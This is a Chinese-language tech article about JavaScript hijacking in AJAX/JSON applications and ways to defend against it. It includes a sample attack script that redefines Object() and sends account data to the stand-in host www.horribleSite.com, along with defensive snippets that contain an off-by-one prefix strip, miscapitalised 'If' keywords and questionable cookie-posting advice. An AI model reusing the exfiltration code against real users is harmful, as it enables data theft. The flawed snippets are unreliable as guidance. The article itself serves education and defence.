让你的AJAX应用程序远离安全威胁
【IT168 专稿】在过去的几个月中,包括Fortify软件和WhiteHat在内的几个互联网安全公司一直在对AJAX技术的安全问题大声疾呼。Fortify软件称,AJAX技术存在“普遍性的严重安全缺陷”。由于AJAX技术正在被广泛的应用,我们作为技术人员,在将AJAX技术应用到我们的新的或现有的应用程序中之前,必须了解这些安全问题。
毫无疑问,AJAX技术已经广为人们所接受,这种技术给用户带来了如此酷的体验,让人爱不释手。对开发者来说,它开发的应用程序无需客户端安装什么程序,非常易于实施,它的典型应用程序就是Google Maps,用过的朋友一定对其有深刻的印象。富互联网应用程序必将变成企业应用程序的标准之一,因此,了解如何避免AJAX中的安全漏洞变得比任何时候都更加重要。
了解什么是JavaScript Hijacking(劫持)
许多网站都引入了Web 2.0的概念,大量使用AJAX和JSON技术,通过非同步加载数据的方式,提供互动功能,这些加载的数据就是JavaScript Hijacking的目标。
采用了AJAX技术的应用程序通常借助于JavaScript来在客户端和服务器端进行数据传送。而对于那些并没有设计成使用JavaScript来进行机密信息传送的浏览器来说,这种传输方法暴露了Web浏览器的安全缺陷。
目前很多Web浏览器强制执行同源策略(same origin policy),它认为来自任何站点加载的信赖内容是不安全的。如果没有同源策略,从一个站点的JavaScript可以访问其他站点上的信息,诸如你的登录信息、你的按键记录、你的银行帐号等等。举个例子来说,同源策略可以防止来自http://www.hijack.com的JavaScript使用来自http://www.chase.com上的对象。但是,尽管如此,同源策略中存在一个漏洞,会允许一个站点包含并执行另一个站点上的JavaScript。这个漏洞是人们使用AJAX的时候面临的一个主要安全缺陷。
让我们通过一个例子来看一下这个漏洞是如何被利用的。将数据从服务器端传递给使用AJAX的客户端的一种常见方法是JSON(JavaScript Object Notation)。JSON的语法是JavaScript语言的一个子集。
JSON的符号如下所示。
[{"accountName":"Checking","accountNumber": "12324234-4", "accountBalance" : "78.99"},
{"accountName": "Savings", "accountNumber": "23456567-1", "accountBalance" : "34566.56"},
{"accountName":"Overdraft","accountNumber": "34566234-1", "accountBalance" : "98764.99"}]
当客户端浏览器解析以上JSON架构的时候,另一个恶意网页可以通过重新定义一个创建新对象的函数来看到这种分解。这个恶意代码可以从这个对象中提取出安全信息,并把它传递给恶意站点。
以下是恶意代码的一个例子。
<script>
function Object() {
this.accountNumber = extractSecData();
}
function extractSecData(x) {
var secData = "";
for (fld in this) {
secData += fld + ": " + this[fld] + ", "
}
secData += "accountNumber: " + x;
var req = new XMLHttpRequest();
req.open("GET", "www.horribleSite.com?secData=" + escape(secData),true);
req.send(null);
}
</script>
有好几种方法可以让你来加固自己的应用程序的安全。
使用AJAX框架
保护你的站点免受JavaScript劫持的一个方法是使用AJAX框架。据统计显示,有四分之一的AJAX用户创建他们自己的专有AJAX结构。然而这种情况是令人担忧的,因为一些未受过系统教育的开发者将会把AJAX安全漏洞带带他们的应用程序中,使得这些应用程序很容易遭到黑客的攻击。因此,最好的办法是从众多的AJAX框架中选择一个。那么我们或许会问这样一个问题:哪一个AJAX框架可以很好的处理安全漏洞呢?
Fortify软件曾进行过这种类型的调查。他们发现DWR 2.0是目前唯一可以防止JavaScript劫持的框架。诸如Dojo、GWT、Prototype和Script.aculo.us等框架正在准备在即将推出的版本中增加对JavaScript劫持的防护。以上框架所创建的抽象级别允许开发者不用自己去关注漏洞防护细节。而且,即使你所选择的框架现在不能解决这些安全漏洞,可能明天它就会解决了。这意味着你可以不用修改你的专有代码,只需升级到最新版的框架即可。
拒绝恶意请求
如果你决定不是用已有框架,而是创建自己的AJAX结构,也是有方法可以保护你的应用程序免受AJAX劫持攻击的,这就是附加一个不容易猜到的参数到每一个到服务器的请求。一种办法是增加一个会话cookie到请求中,并在服务器上检查这个cookie的值,假若这两个值是匹配的,这个请求则被认识是允许的。
下面的代码是一个例子:
<script>
function sendRequest() {
var req = new XMLHttpRequest();
var cookie = "cookie="+escape(document.cookie);
req.open("POST", someUrl, true);
req.send(cookie);
}
</script>
防止响应的直接执行
AJAX劫持是基于这样一个原则:响应对象可以从恶意网站中的<script>标记中直接执行。Fortify软件提出了两种方法,来防止来自恶意站点的响应对象的直接执行。
1、增加while循环表达式作为每一个响应文本对象的前缀。这种方法根据响应对象将客户端(和一个黑客站点)置于一个无限循环中。以下是移除了前缀while(1)的代码。
If (request.readyState == 4) {
var txt = req.responseText;
If (txt.substring(0,9) == "while(1);")
txt = txt.substring(10);
}
注:给响应对象增加一个后缀也是可以的。
2、在JSON表达式前后增加注释字符。客户端在评测响应对象前必须移除这些注释字符。以下是示例代码。
If (request.readyState == 4) { var txt = req.responseText; If (txt.substring(0,2) == "/*") txt = txt.substring(2,txt.length - 2); }
结论
以上我们讲到了AJAX安全漏洞被利用的几种方式,我们或许会问自己这样一个问题:这种攻击的可能性有多大?为了让JavaScript劫持生效,用户必须被欺骗加载具有恶意代码的网页。我感觉这种情况并不容易发生。但是,我不是一个黑客,而且也不是一个IT安全方面的专家,因此我很难给出一个确切的答案。我唯一可以断定的是,威胁确实存在,不过似乎通过一些简单的办法我可以保护自己。
0
相关文章